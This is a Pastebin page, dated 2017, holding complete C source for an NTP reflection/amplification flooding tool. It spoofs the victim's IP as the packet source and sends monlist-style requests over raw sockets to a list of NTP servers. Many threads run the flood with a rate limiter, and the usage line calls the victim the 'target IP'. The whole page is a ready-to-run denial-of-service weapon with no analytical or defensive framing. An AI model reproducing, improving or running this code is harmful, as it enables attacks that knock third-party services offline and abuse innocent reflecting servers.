Advertisement
xttpx

ntp

Jul 3rd, 2017
10,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.30 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct list
  15. {
  16.     struct sockaddr_in data;
  17.     struct list *next;
  18.     struct list *prev;
  19. };
  20. struct list *head;
  21. volatile int tehport;
  22. volatile int limiter;
  23. volatile unsigned int pps;
  24. volatile unsigned int sleeptime = 100;
  25. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  26. void init_rand(uint32_t x)
  27. {
  28.     int i;
  29.     Q[0] = x;
  30.     Q[1] = x + PHI;
  31.     Q[2] = x + PHI + PHI;
  32.     for (i = 3; i < 4096; i++)
  33.     {
  34.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  35.     }
  36. }
  37. uint32_t rand_cmwc(void)
  38. {
  39.     uint64_t t, a = 18782LL;
  40.     static uint32_t i = 4095;
  41.     uint32_t x, r = 0xfffffffe;
  42.     i = (i + 1) & 4095;
  43.     t = a * Q[i] + c;
  44.     c = (t >> 32);
  45.     x = t + c;
  46.     if (x < c) {
  47.     x++;
  48.     c++;
  49.     }
  50.     return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int nwords)
  53. {
  54.     unsigned long sum = 0;
  55.     for (sum = 0; nwords > 0; nwords--)
  56.     sum += *buf++;
  57.     sum = (sum >> 16) + (sum & 0xffff);
  58.     sum += (sum >> 16);
  59.     return (unsigned short)(~sum);
  60. }
  61. void setup_ip_header(struct iphdr *iph)
  62. {
  63.     iph->ihl = 5;
  64.     iph->version = 4;
  65.     iph->tos = 0;
  66.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  67.     iph->id = htonl(54321);
  68.     iph->frag_off = 0;
  69.     iph->ttl = MAXTTL;
  70.     iph->protocol = IPPROTO_UDP;
  71.     iph->check = 0;
  72.     iph->saddr = inet_addr("192.168.3.100");
  73. }
  74. void setup_udp_header(struct udphdr *udph)
  75. {
  76.     udph->source = htons(5678);
  77.         udph->dest = htons(123);
  78.         udph->check = 0;
  79.         memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
  80.         udph->len=htons(sizeof(struct udphdr) + 8);
  81. }
  82. void *flood(void *par1)
  83. {
  84.     struct thread_data *td = (struct thread_data *)par1;
  85.     char datagram[MAX_PACKET_SIZE];
  86.     struct iphdr *iph = (struct iphdr *)datagram;
  87.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  88.     struct sockaddr_in sin = td->sin;
  89.     struct  list *list_node = td->list_node;
  90.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  91.     if(s < 0){
  92.     fprintf(stderr, "Could not open raw socket.\n");
  93.     exit(-1);
  94.     }
  95.     init_rand(time(NULL));
  96.     memset(datagram, 0, MAX_PACKET_SIZE);
  97.     setup_ip_header(iph);
  98.     setup_udp_header(udph);
  99.     udph->source = htons(rand() % 65535 - 1026);
  100.     iph->saddr = sin.sin_addr.s_addr;
  101.     iph->daddr = list_node->data.sin_addr.s_addr;
  102.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  103.     int tmp = 1;
  104.     const int *val = &tmp;
  105.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  106.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  107.     exit(-1);
  108.     }
  109.     init_rand(time(NULL));
  110.     register unsigned int i;
  111.     i = 0;
  112.     while(1){
  113.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  114.         list_node = list_node->next;
  115.         iph->daddr = list_node->data.sin_addr.s_addr;
  116.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  117.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  118.         pps++;
  119.         if(i >= limiter)
  120.         {
  121.             i = 0;
  122.             usleep(sleeptime);
  123.         }
  124.         i++;
  125.     }
  126. }
  127. int main(int argc, char *argv[ ])
  128. {
  129.     if(argc < 6){
  130.     fprintf(stderr, "Invalid parameters!\n");
  131.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  132.         exit(-1);
  133.     }
  134.     srand(time(NULL));
  135.     int i = 0;
  136.     head = NULL;
  137.     fprintf(stdout, "Setting up sockets...\n");
  138.     int max_len = 128;
  139.     char *buffer = (char *) malloc(max_len);
  140.     buffer = memset(buffer, 0x00, max_len);
  141.     int num_threads = atoi(argv[4]);
  142.     int maxpps = atoi(argv[5]);
  143.     limiter = 0;
  144.     pps = 0;
  145.     int multiplier = 20;
  146.     FILE *list_fd = fopen(argv[3],  "r");
  147.     while (fgets(buffer, max_len, list_fd) != NULL) {
  148.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  149.                 (buffer[strlen(buffer) - 1] == '\r')) {
  150.             buffer[strlen(buffer) - 1] = 0x00;
  151.             if(head == NULL)
  152.             {
  153.                 head = (struct list *)malloc(sizeof(struct list));
  154.                 bzero(&head->data, sizeof(head->data));
  155.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  156.                 head->next = head;
  157.                 head->prev = head;
  158.             } else {
  159.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  160.                 memset(new_node, 0x00, sizeof(struct list));
  161.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  162.                 new_node->prev = head;
  163.                 new_node->next = head->next;
  164.                 head->next = new_node;
  165.             }
  166.             i++;
  167.         } else {
  168.             continue;
  169.         }
  170.     }
  171.     struct list *current = head->next;
  172.     pthread_t thread[num_threads];
  173.     struct sockaddr_in sin;
  174.     sin.sin_family = AF_INET;
  175.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  176.     struct thread_data td[num_threads];
  177.     for(i = 0;i<num_threads;i++){
  178.         td[i].thread_id = i;
  179.         td[i].sin= sin;
  180.         td[i].list_node = current;
  181.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  182.     }
  183.     fprintf(stdout, "Starting flood...\n");
  184.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  185.     {
  186.         usleep((1000/multiplier)*1000);
  187.         if((pps*multiplier) > maxpps)
  188.         {
  189.             if(1 > limiter)
  190.             {
  191.                 sleeptime+=100;
  192.             } else {
  193.                 limiter--;
  194.             }
  195.         } else {
  196.             limiter++;
  197.             if(sleeptime > 25)
  198.             {
  199.                 sleeptime-=25;
  200.             } else {
  201.                 sleeptime = 0;
  202.             }
  203.         }
  204.         pps = 0;
  205.     }
  206.     return 0;
  207. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement